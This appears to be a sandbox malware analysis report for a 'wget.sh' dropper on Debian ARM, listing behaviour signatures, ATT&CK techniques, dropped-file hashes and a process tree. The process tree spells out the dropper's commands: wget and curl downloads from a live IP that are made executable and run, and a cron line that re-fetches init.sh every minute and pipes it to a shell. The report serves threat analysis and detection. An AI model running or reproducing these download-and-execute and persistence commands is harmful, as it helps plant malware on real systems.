Overview

overview

7

Static

static

1

wget.sh

ubuntu-18.04-amd64

7

wget.sh

debian-9-armhf

7

wget.sh

debian-9-mips

wget.sh

debian-9-mipsel

Analysis

  • max time kernel
    148s
  • max time network
    132s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    08/07/2026, 07:54

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    wget.sh
  • Size 4KB
  • Sample260708-jr263acy21
  • SHA256 90e72cb310525972af1e9d97cd837d48aaf87a429930b507f56befddff1ff713
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
7/10
antivmdefense_evasiondiscoveryexecutionpersistenceprivilege_escalation

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 7 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Deletes itself 1 IoCs
  • Executes dropped EXE 7 IoCs
  • Modifies Watchdog functionality 1 TTPs 2 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

    defense_evasion
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalation
  • Enumerates active TCP sockets 1 TTPs 1 IoCs

    Gets active TCP sockets from /proc virtual filesystem.

    discovery
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Modifies systemd 2 TTPs 1 IoCs

    Adds/ modifies systemd service files. Likely to achieve persistence.

    persistenceprivilege_escalation
  • Reads MAC address of network interface 2 TTPs 1 IoCs

    Fetches the MAC address of active network interfaces. May be used to detect known values for hypervisors.

    defense_evasiondiscovery
  • Changes its process name 1 IoCs
  • Checks CPU configuration 1 TTPs 2 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads system network configuration 1 TTPs 1 IoCs

    Uses contents of /proc filesystem to enumerate network settings.

    discovery
  • Enumerates kernel/hardware configuration 1 TTPs 3 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

    discovery
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 9 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/wget.sh
    /tmp/wget.sh
    1⤵
    • Executes dropped EXE
    PID:647
    • /usr/bin/wget
      wget http://91.92.40.118/kworkerd -O /tmp/.k
      2⤵
      • Writes file to tmp directory
      PID:649
    • /bin/chmod
      chmod 777 /tmp/.k
      2⤵
      • File and Directory Permissions Modification
      PID:669
    • /tmp/.k
      /tmp/.k
      2⤵
        PID:671
      • /bin/rm
        rm -f /tmp/.k
        2⤵
          PID:673
        • /usr/bin/wget
          wget http://91.92.40.118/kworkerd-events -O /tmp/.k
          2⤵
          • Writes file to tmp directory
          PID:675
        • /bin/chmod
          chmod 777 /tmp/.k
          2⤵
          • File and Directory Permissions Modification
          PID:679
        • /tmp/.k
          /tmp/.k
          2⤵
            PID:680
          • /bin/rm
            rm -f /tmp/.k
            2⤵
              PID:682
            • /usr/bin/wget
              wget http://91.92.40.118/kworkerd-cgroup -O /tmp/.k
              2⤵
              • Writes file to tmp directory
              PID:683
            • /bin/busybox
              busybox wget http://91.92.40.118/kworkerd-cgroup -O /tmp/.k
              2⤵
                PID:685
              • /usr/bin/curl
                curl http://91.92.40.118/kworkerd-cgroup -o /tmp/.k
                2⤵
                • Checks CPU configuration
                • Reads runtime system information
                • Writes file to tmp directory
                PID:686
              • /bin/chmod
                chmod 777 /tmp/.k
                2⤵
                • File and Directory Permissions Modification
                PID:687
              • /tmp/.k
                /tmp/.k
                2⤵
                  PID:688
                • /bin/sh
                  /bin/sh /tmp/.k
                  2⤵
                    PID:688
                  • /bin/rm
                    rm -f /tmp/.k
                    2⤵
                      PID:689
                    • /usr/bin/wget
                      wget http://91.92.40.118/kworkerd-netns -O /tmp/.k
                      2⤵
                      • Writes file to tmp directory
                      PID:690
                    • /bin/chmod
                      chmod 777 /tmp/.k
                      2⤵
                      • File and Directory Permissions Modification
                      PID:691
                    • /tmp/.k
                      /tmp/.k
                      2⤵
                        PID:692
                      • /bin/rm
                        rm -f /tmp/.k
                        2⤵
                          PID:694
                        • /usr/bin/wget
                          wget http://91.92.40.118/kworkerd-netns-rt -O /tmp/.k
                          2⤵
                          • Writes file to tmp directory
                          PID:695
                        • /bin/chmod
                          chmod 777 /tmp/.k
                          2⤵
                          • File and Directory Permissions Modification
                          PID:696
                        • /tmp/.k
                          /tmp/.k
                          2⤵
                            PID:697
                          • /bin/rm
                            rm -f /tmp/.k
                            2⤵
                              PID:699
                            • /usr/bin/wget
                              wget http://91.92.40.118/kworkerd-rcu -O /tmp/.k
                              2⤵
                              • Writes file to tmp directory
                              PID:700
                            • /bin/chmod
                              chmod 777 /tmp/.k
                              2⤵
                              • File and Directory Permissions Modification
                              PID:705
                            • /tmp/.k
                              /tmp/.k
                              2⤵
                                PID:707
                              • /bin/rm
                                rm -f /tmp/.k
                                2⤵
                                  PID:709
                                • /usr/bin/wget
                                  wget http://91.92.40.118/kworkerd-irq -O /tmp/.k
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:711
                                • /bin/chmod
                                  chmod 777 /tmp/.k
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:718
                                • /tmp/.k
                                  /tmp/.k
                                  2⤵
                                  • Deletes itself
                                  • Modifies Watchdog functionality
                                  • Enumerates active TCP sockets
                                  • Modifies systemd
                                  • Reads MAC address of network interface
                                  • Changes its process name
                                  • Checks CPU configuration
                                  • Reads system network configuration
                                  • Enumerates kernel/hardware configuration
                                  • Reads runtime system information
                                  • Writes file to tmp directory
                                  PID:720
                                  • /bin/sh
                                    sh -c "/bin/systemctl daemon-reload 2>/dev/null"
                                    3⤵
                                      PID:728
                                      • /bin/systemctl
                                        /bin/systemctl daemon-reload
                                        4⤵
                                        • Enumerates kernel/hardware configuration
                                        • Reads runtime system information
                                        PID:729
                                    • /bin/sh
                                      sh -c "/bin/systemctl enable --now redis-sentinel.service 2>/dev/null"
                                      3⤵
                                        PID:758
                                        • /bin/systemctl
                                          /bin/systemctl enable --now redis-sentinel.service
                                          4⤵
                                          • Enumerates kernel/hardware configuration
                                          • Reads runtime system information
                                          PID:759
                                      • /bin/sh
                                        sh -c "/usr/bin/crontab -l 2>/dev/null"
                                        3⤵
                                          PID:785
                                          • /usr/bin/crontab
                                            /usr/bin/crontab -l
                                            4⤵
                                            • Reads runtime system information
                                            PID:786
                                        • /bin/sh
                                          sh -c "/usr/bin/crontab - <<'ENDCRON' * * * * * /bin/sh -c 'kill -0 723 2>/dev/null && exit 0; (wget -qO- http://91.92.40.118/init.sh || curl -sL http://91.92.40.118/init.sh) | /bin/sh' > /dev/null 2>&1 ENDCRON"
                                          3⤵
                                            PID:787
                                            • /usr/bin/crontab
                                              /usr/bin/crontab -
                                              4⤵
                                              • Creates/modifies Cron job
                                              PID:788

                                      Network

                                            MITRE ATT&CK Enterprise v16

                                            Reconnaissance

                                            Resource Development

                                            Initial Access

                                            Execution

                                            Scheduled Task/Job

                                            1
                                            T1053

                                            Cron

                                            1
                                            T1053.003

                                            Persistence

                                            Boot or Logon Autostart Execution

                                            1
                                            T1547

                                            XDG Autostart Entries

                                            1
                                            T1547.013

                                            Create or Modify System Process

                                            1
                                            T1543

                                            Systemd Service

                                            1
                                            T1543.002

                                            Scheduled Task/Job

                                            1
                                            T1053

                                            Cron

                                            1
                                            T1053.003

                                            Privilege Escalation

                                            Boot or Logon Autostart Execution

                                            1
                                            T1547

                                            XDG Autostart Entries

                                            1
                                            T1547.013

                                            Create or Modify System Process

                                            1
                                            T1543

                                            Systemd Service

                                            1
                                            T1543.002

                                            Scheduled Task/Job

                                            1
                                            T1053

                                            Cron

                                            1
                                            T1053.003

                                            Defense Evasion

                                            File and Directory Permissions Modification

                                            1
                                            T1222

                                            Linux and Mac File and Directory Permissions Modification

                                            1
                                            T1222.002

                                            Impair Defenses

                                            1
                                            T1562

                                            Virtualization/Sandbox Evasion

                                            1
                                            T1497

                                            System Checks

                                            1
                                            T1497.001

                                            Credential Access

                                            Discovery

                                            System Information Discovery

                                            1
                                            T1082

                                            System Network Configuration Discovery

                                            2
                                            T1016

                                            Internet Connection Discovery

                                            1
                                            T1016.001

                                            Wi-Fi Discovery

                                            1
                                            T1016.002

                                            System Network Connections Discovery

                                            2
                                            T1049

                                            Virtualization/Sandbox Evasion

                                            1
                                            T1497

                                            System Checks

                                            1
                                            T1497.001

                                            Lateral Movement

                                            Collection

                                            Command and Control

                                            Exfiltration

                                            Impact

                                            Replay Monitor

                                            Loading Replay Monitor...

                                            Downloads

                                            redis-sentinel.service
                                            • Path /etc/systemd/system/redis-sentinel.service
                                            • Size 342B
                                            • SHA256 233380053ca11cd37fcf70af2aebea67094b7065709aaa1c07e34f13a5686afa
                                            • MD5 SHA1 SHA512 TLSH
                                            Submit Download

                                            .k
                                            • Path /tmp/.k
                                            • Size 271KB
                                            • SHA256 05686c56837324d1bbb9b98c331bd689af81de4a27c52a4d84ace7e25302e111
                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                            Submit Download

                                            .k
                                            • Path /tmp/.k
                                            • Size 223KB
                                            • SHA256 10c76163201a46c7a7e5df1f2bb2d25bd79bc348baba7c17ee46bd4eef5148f6
                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                            Submit Download

                                            .k
                                            • Path /tmp/.k
                                            • Size 162B
                                            • SHA256 340c8464c2007ce3f80682e15dfafa4180b641d53c14201b929906b7b0284d87
                                            • MD5 SHA1 SHA512 TLSH
                                            Submit Download

                                            .k
                                            • Path /tmp/.k
                                            • Size 394KB
                                            • SHA256 2081580b46e6903e856f457ee1511c1a89d571a2285e2f227308fafc402db71c
                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                            Submit Download

                                            .k
                                            • Path /tmp/.k
                                            • Size 377KB
                                            • SHA256 ae5946d2ee25fbdbd341d3909c8226d3152376d2b68e523cbb323bccf29a0481
                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                            Submit Download

                                            .k
                                            • Path /tmp/.k
                                            • Size 394KB
                                            • SHA256 cf3f03b781e716c600e11a7b185cd6d6c350c13c1127e577205e5eb89c4d030b
                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                            Submit Download

                                            .redis-server.pid
                                            • Path /tmp/.redis-server.pid
                                            • Size 3B
                                            • SHA256 07e46896ba89f88776fed50a1b7895129f9b9af7d3b8b33ca23af478bb818d6c
                                            • MD5 SHA1 SHA512
                                            Submit Download

                                            tmp.Z17ZXd
                                            • Path /var/spool/cron/crontabs/tmp.Z17ZXd
                                            • Size 340B
                                            • SHA256 aba2f71a689a567ee20020438a12e660523843c02fe043e7fdae85e18b6355a0
                                            • MD5 SHA1 SHA512 TLSH
                                            Submit Download